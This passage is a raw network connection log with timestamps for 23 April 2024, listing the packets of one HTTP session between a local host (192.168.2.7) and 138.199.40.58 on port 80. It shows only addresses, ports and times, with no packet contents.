Apr 23, 2024 08:39:59.032577991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032593012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032654047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032659054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032672882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032685995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032694101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032738924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032741070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032753944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032777071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032810926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032825947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032833099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032850981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032862902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032862902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032866955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032890081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032915115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032938004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032964945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032983065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.033040047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.033061028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.033083916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.033087015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.033108950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.033205032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.035789013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.035881996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.035906076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.035947084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.035968065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036001921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036024094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036039114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036061049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036124945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036147118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036194086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036211014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036217928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036293983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036314011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036393881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036417961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036439896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036462069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036573887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036592960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036597013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036606073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036627054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036627054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036711931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036736012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.036905050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.036926031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.039587021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042041063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042069912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042114019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042126894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042128086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042128086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042175055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042175055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042640924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042692900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042761087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042826891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042840004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042841911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042882919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042882919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042900085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042924881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042937994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.042989969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.042989969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.043097019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.043184042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.043196917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.043226004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.043306112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.047535896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047554970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047599077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047660112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047705889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047719002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047785997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047799110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.047926903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048011065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048034906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048046112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048105955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048120975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048166990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048180103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048252106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048326969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048341990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048355103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048355103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048374891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048434019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048499107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048547983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048571110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048636913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048661947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048739910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048753023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048825979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048850060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048923969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.048952103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.048985958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049014091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049098969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049112082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049123049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049129009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049137115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049143076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049154997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049176931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049190044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049215078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049221992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049246073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049257994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049263954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049441099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049463987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049526930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049547911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049566984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049571991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049592018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049614906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049618959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049642086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049665928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049674988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049720049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049779892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049803019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049813986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.049837112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049884081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.049961090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050005913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050019026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050041914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050156116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050168991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050179958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050189972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050231934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050260067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050266981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050288916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050298929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050323963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050487995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050513029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050534010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050559044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050575972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050604105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050637960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050653934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050820112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050832987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050858974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050877094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050890923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050901890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050918102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050925970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050940037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050951004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050966024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.050982952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.050982952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051012993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051038980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051071882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051096916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051177025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051189899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051203012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051203966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051217079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051219940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051229000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051242113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051254034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051276922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051284075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051284075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051301956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051316977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051364899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051364899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051378965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051394939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051424980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051429987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051449060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051495075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051526070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051573038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051673889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051738024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051749945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051768064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051778078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051800013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051820993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051830053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051855087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051855087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051877975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051902056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051913977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051927090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.051927090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051950932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.051950932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052033901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052057981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052079916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052107096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052136898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052154064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052165985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052179098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052197933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052212000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052223921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052238941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052278042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052297115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052306890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052316904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052406073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052423000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052439928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052474022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052495003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052495003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052508116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052520990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052557945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052567959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052567959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052580118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052603960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052614927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052633047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052694082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052706957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052717924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052720070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052726984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052738905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052762985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052762985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052763939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052782059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052792072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052818060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.052824020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052903891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.052985907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053040981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053057909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053162098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053175926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053185940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053232908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053251982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053266048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053277016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053291082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053328991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053339958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053347111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053412914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053426027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053436995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053437948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053450108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053459883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053462982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053486109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053488970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053515911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053527117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053540945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053544998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053591967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053591967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053606033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053663969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053677082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053688049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053709030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053719997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053719997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053778887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053792953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053809881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053821087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053822041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053847075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053848982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.053874969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053890944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.053993940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054008007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054030895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054048061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054060936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054071903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054085016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054125071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054147005 CEST	80	49705	138.199.40.58	192.168.2.7
